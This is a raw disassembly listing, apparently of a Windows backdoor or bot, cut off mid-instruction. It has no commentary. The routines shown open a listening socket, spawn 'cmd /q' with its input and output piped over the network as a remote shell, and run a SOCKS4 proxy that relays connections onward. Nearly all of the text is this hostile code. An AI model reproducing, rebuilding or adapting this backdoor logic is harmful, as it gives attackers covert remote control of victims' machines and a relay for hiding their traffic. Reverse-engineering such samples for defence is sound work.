loc_411657 push 7FFFFFFFh push ebx call dword_4CB9FC ; listen test eax, eax jnz loc_411657 push offset unk_435474 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_415D38 pop ecx mov [ebp+arg_0], edi loc_41156F: ; CODE XREF: sub_41144E+15Aj ; sub_41144E+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CBA68 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_41165A push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CB9B4 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_41156F movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_435430 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Source] push eax call sub_415D38 push edi ; int lea eax, [ebp+Source] push 9 ; int push eax ; Source call sub_40B3BA mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_43E914[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4111C0 lea eax, [ebp+var_10] push esi push eax call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_411642 loc_41162F: ; CODE XREF: sub_41144E+1F2j cmp [ebp+var_38], esi jnz loc_41156F push 32h call ds:dword_427080 ; Sleep jmp short loc_41162F ; --------------------------------------------------------------------------- loc_411642: ; CODE XREF: sub_41144E+1DFj call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_4353F4 ; "-" call sub_415DAC pop ecx pop ecx jmp short loc_41165A ; --------------------------------------------------------------------------- loc_411657: ; CODE XREF: sub_41144E+C8j ; sub_41144E+ECj ... mov edi, [ebp+arg_0] loc_41165A: ; CODE XREF: sub_41144E+13Cj ; sub_41144E+207j call dword_4CB968 ; WSAGetLastError push eax lea eax, [ebp+Source] push offset asc_4353BC ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_41169A push esi ; int lea eax, [ebp+Source] push [ebp+var_40] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_214] ; int call sub_409869 add esp, 14h loc_41169A: ; CODE XREF: sub_41144E+22Aj lea eax, [ebp+Source] push eax call sub_415D38 pop ecx push edi call dword_4CBA6C ; closesocket push ebx call dword_4CBA6C ; closesocket call dword_4CB92C ; WSACleanup push [ebp+var_4C] call sub_40B6D6 pop ecx push esi call ds:dword_4270D4 ; ExitThread pop ebx loc_4116CC: ; DATA XREF: sub_41144E+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_41144E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4116D6 proc near ; CODE XREF: sub_4111C0+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_411827 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E91C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, ds:dword_427084 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4119F9 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_411741 call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435554 ; "-" call sub_415DAC or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_41177B ; --------------------------------------------------------------------------- loc_411741: ; CODE XREF: sub_4116D6+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_411AAB lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_411782 call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435554 ; "-" call sub_415DAC pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call ds:dword_4270B4 ; TerminateThread loc_41177B: ; CODE XREF: sub_4116D6+69j xor eax, eax jmp loc_411822 ; --------------------------------------------------------------------------- loc_411782: ; CODE XREF: sub_4116D6+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call ds:dword_427130 ; WaitForMultipleObjects sub eax, ebx jz short loc_4117DC dec eax jz short loc_4117D6 dec eax jz short loc_4117C2 call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435520 ; "-" call sub_415DAC pop ecx pop ecx jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117C2: ; CODE XREF: sub_4116D6+D5j mov edi, ds:dword_4270B4 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_4117F1 ; --------------------------------------------------------------------------- loc_4117D6: ; CODE XREF: sub_4116D6+D2j push ebx push dword ptr [esi+10h] jmp short loc_4117E0 ; --------------------------------------------------------------------------- loc_4117DC: ; CODE XREF: sub_4116D6+CFj push ebx push dword ptr [esi+14h] loc_4117E0: ; CODE XREF: sub_4116D6+104j call ds:dword_4270B4 ; TerminateThread push 1 push dword ptr [esi+8] call ds:dword_4270FC ; TerminateProcess loc_4117F1: ; CODE XREF: sub_4116D6+EAj ; sub_4116D6+FEj push dword ptr [esi+10h] mov edi, ds:dword_427070 call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4CBA6C ; closesocket push esi call sub_41BA91 pop ecx push 1 pop eax loc_411822: ; CODE XREF: sub_4116D6+A7j pop edi pop esi pop ebx leave retn sub_4116D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411827 proc near ; CODE XREF: sub_4116D6+Dp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h ; Size mov [ebp+var_4], edi mov [ebp+var_8], edi call _malloc mov esi, eax pop ecx cmp esi, edi jz loc_411911 mov ebx, ds:dword_427108 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, ds:dword_427070 test eax, eax jnz short loc_41188A call ds:dword_427094 ; RtlGetLastWin32Error push eax push offset unk_435604 jmp short loc_4118AA ; --------------------------------------------------------------------------- loc_41188A: ; CODE XREF: sub_411827+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_4118B2 call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_4355C4 ; "-" loc_4118AA: ; CODE XREF: sub_411827+61j call sub_415DAC pop ecx jmp short loc_4118E0 ; --------------------------------------------------------------------------- loc_4118B2: ; CODE XREF: sub_411827+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_411920 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_411915 push offset unk_43559C call sub_415D38 loc_4118E0: ; CODE XREF: sub_411827+89j cmp [ebp+var_4], 0 pop ecx jz short loc_4118EC push [ebp+var_4] call edi ; CloseHandle loc_4118EC: ; CODE XREF: sub_411827+BEj cmp [ebp+var_8], 0 jz short loc_4118F7 push [ebp+var_8] call edi ; CloseHandle loc_4118F7: ; CODE XREF: sub_411827+C9j mov eax, [esi] test eax, eax jz short loc_411900 push eax call edi ; CloseHandle loc_411900: ; CODE XREF: sub_411827+D4j mov eax, [esi+4] test eax, eax jz short loc_41190A push eax call edi ; CloseHandle loc_41190A: ; CODE XREF: sub_411827+DEj push esi call sub_41BA91 pop ecx loc_411911: ; CODE XREF: sub_411827+1Dj xor eax, eax jmp short loc_41191B ; --------------------------------------------------------------------------- loc_411915: ; CODE XREF: sub_411827+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_41191B: ; CODE XREF: sub_411827+ECj pop edi pop esi pop ebx leave retn sub_411827 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411920 proc near ; CODE XREF: sub_411827+94p Dst = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst mov [ebp+var_4], esi call _memset push 10h ; Size lea eax, [ebp+var_14] push esi ; Val push eax ; Dst call _memset mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+Dst], edi mov edi, ds:dword_427104 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call ds:dword_427100 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+Dst] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call ds:dword_427074 ; CreateProcessA test eax, eax jz short loc_4119DC mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_43E918[eax], ecx call ds:dword_427070 ; CloseHandle jmp short loc_4119F2 ; --------------------------------------------------------------------------- loc_4119DC: ; CODE XREF: sub_411920+9Aj call ds:dword_427094 ; RtlGetLastWin32Error push eax ; Args push offset asc_435644 ; "-" call sub_415DAC mov esi, [ebp+var_4] pop ecx pop ecx loc_4119F2: ; CODE XREF: sub_411920+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_411920 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4119F9 proc near ; DATA XREF: sub_4116D6+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, ds:dword_4270EC push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_411A22: ; CODE XREF: sub_4119F9+8Fj call ebx ; ReadFile test eax, eax jz short loc_411A8A xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_411A5D loc_411A33: ; CODE XREF: sub_4119F9+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_411A4D cmp dl, 0Dh jz short loc_411A4D mov [ebp+eax+var_1B0], 0Dh inc eax loc_411A4D: ; CODE XREF: sub_4119F9+44j ; sub_4119F9+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_411A33 loc_411A5D: ; CODE XREF: sub_4119F9+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 ; send test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, ds:dword_427094 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_411AA6 call esi ; RtlGetLastWin32Error push eax ; Args push offset asc_435684 ; "-" call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC ; recv test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx call ds:dword_427134 ; GenerateConsoleCtrlEvent jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 ; send test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call ds:dword_4270F0 ; WriteFile test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BCE proc near ; DATA XREF: sub_401ACD+2BC4o Source = byte ptr -2D4h var_D4 = dword ptr -0D4h Str = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h Dst = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx ; Size lea eax, [ebp+Dst] push esi ; Val push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+var_40] call dword_4CB9D4 ; htons push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4CBA54 ; socket mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_43E91C[eax], edi lea eax, [ebp+Dst] push eax push edi call dword_4CBA00 ; bind test eax, eax jnz loc_411D70 push 0Ah push edi call dword_4CB9FC ; listen test eax, eax jnz loc_411D70 push [ebp+var_40] push [ebp+var_D4] call sub_40AA06 pop ecx push eax lea eax, [ebp+Source] push offset asc_42BC94 ; "-" push eax ; Dest call _sprintf add esp, 10h cmp [ebp+var_30], esi jnz short loc_411CA9 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409869 add esp, 14h loc_411CA9: ; CODE XREF: sub_411BCE+B9j ; sub_411BCE+172j ... lea eax, [ebp+Source] push eax call sub_415D38 pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4CBA68 ; accept push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4CBA60 ; inet_ntoa push eax lea eax, [ebp+Source] push offset asc_435730 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Source] push 19h ; int push eax ; Source call sub_40B3BA mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_43E914[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_411DD3 push esi push esi call ds:dword_427084 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_43E924[ecx], eax jz short loc_411D50 loc_411D3D: ; CODE XREF: sub_411BCE+180j cmp [ebp+var_28], esi jnz loc_411CA9 push 5 call ds:dword_427080 ; Sleep jmp short loc_411D3D ; --------------------------------------------------------------------------- loc_411D50: ; CODE XREF: sub_411BCE+16Dj call ds:dword_427094 ; RtlGetLastWin32Error push eax lea eax, [ebp+Source] push offset asc_4356F4 ; "-" push eax ; Dest call _sprintf add esp, 0Ch jmp loc_411CA9 ; --------------------------------------------------------------------------- loc_411D70: ; CODE XREF: sub_411BCE+7Bj ; sub_411BCE+8Cj push edi call dword_4CBA6C ; closesocket push [ebp+var_40] lea eax, [ebp+Source] push offset asc_4356C0 ; "-" push eax ; Dest call _sprintf add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_411DB3 push esi ; int lea eax, [ebp+Source] push [ebp+var_34] ; int push eax ; int lea eax, [ebp+Str] push eax ; Str push [ebp+var_D4] ; int call sub_409869 add esp, 14h loc_411DB3: ; CODE XREF: sub_411BCE+1C3j lea eax, [ebp+Source] push eax call sub_415D38 push [ebp+var_3C] call sub_40B6D6 pop ecx pop ecx push esi call ds:dword_4270D4 ; ExitThread pop edi pop esi pop ebx sub_411BCE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh Dst = byte ptr -4C8h var_C8 = byte ptr -0C8h Str2 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_43E91C[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4CB9BC ; select test eax, eax jnz short loc_411E54 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_411E54: ; CODE XREF: sub_411DD3+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4CB9EC ; recv test eax, eax jg short loc_411E85 push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_411E85: ; CODE XREF: sub_411DD3+98j cmp [ebp+var_4D0], 4 jnz loc_41207F cmp [ebp+var_4CF], 1 jnz loc_41207F cmp [ebp+Str2], bl jz short loc_411F1B lea eax, [ebp+Str2] push eax ; Str2 lea eax, [ebp+Dst] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_411F1B lea eax, [ebp+Str2] push eax lea eax, [ebp+Dst] push eax ; Args push offset dword_4357F8 ; Format call sub_415DAC push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call _memset add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_411F1B: ; CODE XREF: sub_411DD3+CFj ; sub_411DD3+E5j push 10h ; Size lea eax, [ebp+var_18] push ebx ; Val push eax ; Dst call _memset mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4CBA54 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_411FB3 call dword_4CB968 ; WSAGetLastError push eax ; Args push offset dword_4357B8 ; Format call sub_415DAC push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_411FB3: ; CODE XREF: sub_411DD3+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4CB97C ; connect cmp eax, 0FFFFFFFFh jnz short loc_412022 call dword_4CB968 ; WSAGetLastError push eax ; Args push offset dword_435774 ; Format call sub_415DAC push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call _memset add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_412022: ; CODE XREF: sub_411DD3+1F0j push 400h ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call _memset add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4CBA24 ; send push dword ptr [esi] push edi call sub_412097 pop ecx pop ecx push edi call dword_4CBA6C ; closesocket push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread loc_41207F: ; CODE XREF: sub_411DD3+B9j ; sub_411DD3+C6j push dword ptr [esi] call dword_4CBA6C ; closesocket push [ebp+arg_0] call sub_40B6D6 pop ecx push ebx call ds:dword_4270D4 ; ExitThread sub_411DD3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412097 proc near ; CODE XREF: sub_411DD3+286p Dst = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: sub_412097+C5j ; sub_412097+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4120C5: ; CODE XREF: sub_412097+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: sub_412097+33j cmp ecx, 1 jnz short loc_4120EA mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4120EA: ; CODE XREF: sub_412097+41j push esi ; Size lea eax, [ebp+Dst] push edi ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4CB9BC ; select lea eax, [ebp+var_104] push eax push ebx call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz short loc_41214A push edi lea eax, [ebp+Dst] push esi push eax push ebx call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: sub_412097+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4CB8C0 ; __WSAFDIsSet test eax, eax jz loc_4120AD push edi lea eax, [ebp+Dst] push esi push eax push [ebp+arg_0] call dword_4CB9EC ; recv cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp+Dst] push eax push ebx call dword_4CBA24 ; send cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: sub_412097+9Aj ; sub_412097+B1j ... pop edi pop esi pop ebx leave retn sub_412097 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p ; DATA XREF: sub_401ACD+20B3o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = dword ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h DstBuf = byte ptr -574h var_374 = dword ptr -374h Filename = byte ptr -370h Str = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh Dest = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h Dst = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 File = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4CBA54 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_412237 push 190h call ds:dword_427080 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_412217 push ebx ; int lea eax, [ebp+var_778] push [ebp+var_DC] ; int push eax ; int lea eax, [ebp+var_15C] push eax ; Str push [ebp+var_374] ; int call sub_409869 add esp, 14h loc_412217: ; CODE XREF: sub_412197+5Bj lea eax, 